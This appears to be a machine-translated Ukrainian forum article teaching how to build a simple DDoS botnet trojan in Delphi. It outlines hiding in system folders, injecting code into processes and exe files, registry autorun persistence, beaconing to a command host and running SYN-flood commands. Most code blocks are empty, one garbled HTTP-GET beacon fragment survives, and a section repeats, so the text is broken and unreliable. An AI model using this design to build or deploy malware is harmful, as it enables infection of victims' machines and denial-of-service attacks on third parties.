Бот на delphi

Бот на Delphi

Чомусь багато початківці програмісти думають, що комп'ютерні віруси пишуться на асемблері і в рідкісних винятки на C ++. Я вас запевнити, що зловредів можна писати на будь-якій мові програмування!
І так. Сьогодні мова піде про Делфі - самий на мій погляд зручний мову, тому що у нього найзручніший для розуміння людиною синтаксис, звичайно поширеності йому ще додає і те що його починають викладати ще в школі. Спори між Делфі-кодерами і кодерами C ++ можна спостерігати практично на будь-якому майданчику. Як правило аргументи С ++ це вага і навантаження на процесор, аргументи Delphi - це не юзабельность коду. Як правило ці суперечки закінчуються приходом адміна і криками. Сьогодні я постараюся максимально зрозуміло пояснити як можливо написати бот мережу, давайте розберемо написання DDoS ботнету на Delphi.


Що нам насамперед потрібно зробити? - Скласти алгоритм трояна:
1. Сховатися в системі
2. Замаскуватися під системний процес
3. Прописатися в автозапуск
4. відстукати на хост
5. Чекати команду від "господаря"
Ось, перший ступінь ми вже пройшли - алгоритм простий бот мережі готовий!


Давайте розбиратися з усім по черзі.
1. Що означає "сховатися в системі?", Можна осісти в оперативній пам'яті, куди антивірусники і носа не сунуть, можна створити бут-сектор і запускатися первее операційки, але це складніше і не для Делфі, а скоріше для ASM, тим більше нам потрібен троян руткітного поведінки, а не буткіт. Ми, як я вже сказав пишемо найпростіший трой і досить буде всього-то копіюватися в системну папку.
код:

Так само вам можуть стати в нагоді:
шлях до файлу:
код:

ця функція повертає шлях в системі до нашої програми.
код:

Ця повертає ім'я нашій програмі.
код:

Ця функція просто не замінна! Вона повертає диск з якого запущена програма, дуже корисна при розмноженні "з флешки".
І так. тут ми все вирішили. Переходимо до шапки-невидимкою.


2. Маскування під системний процес - означає, що наша програма буде саме руткітного поведінки. Часто заїжджені процеси - це svchost і explorer, а інших ніби і немає. Ми зробимо трохи по-єврейськи і пріконнектімся до якогось іншого процесу. Приклади Інжект:
приклад перший
Приклад додавання коду (функції Beep) в exe файли,
без збільшення їх розміру.


1. Знаходимо секцію з кодом.
2. Перевірка (вільно в кінці секції 86 байт).
3. Якщо вільно дописуємо код.
4. Міняємо точку входу на наш код.
код:

Будьте уважні! Оскільки це всього лише навчальний посібник - я даю код для ознокомленія, а не для протиправних дій.


3.Ідём далі, зараз нам потрібно прописатися в автозапуск, робити ми це можемо різними шляхами, я вибрав додавання через реєстр, для більшої наочності:
код:

де Application.Exename це команда, яка повертає ім'я нашої програми.


4. відстукати на хост це не так складно як здавалося б, багато хто чомусь думають, що отстук - це ціла морока з кодом, з обходами і іншим - я вас звірові, що це може бути простий GET запит
код:

5. І нарешті, очікування команди від господаря. Тут вже розраховую на ваше уяву бо команда буде виконуватися від імені адміна (адже руткит працює з адмінській процесом?).
Ось можу підкинути код для атаки syn-flood:
код:

4. відстукати на хост це не так складно як здавалося б, багато хто чомусь думають, що отстук - це ціла морока з кодом, з обходами і іншим - я вас звірові, що це може бути простий GET запит
код:
trt: string;
trt: = 'hi_admin'
trt: = StringReplace (trt, '', '+',
[RfReplaceAll, rfIgnoreCase]);
Otk: = Form2.IdHttp1.Get (Імя_нашего_хос. .. .а.ру \ бла-бла-бла + 'trt');

5. І нарешті, очікування команди від господаря.

Так робити не можна. Будь-Авер спалить такий вихід. + Домен швидко піде в блек. І так, насправді отстук це одне з важливих дій.

Схожі статті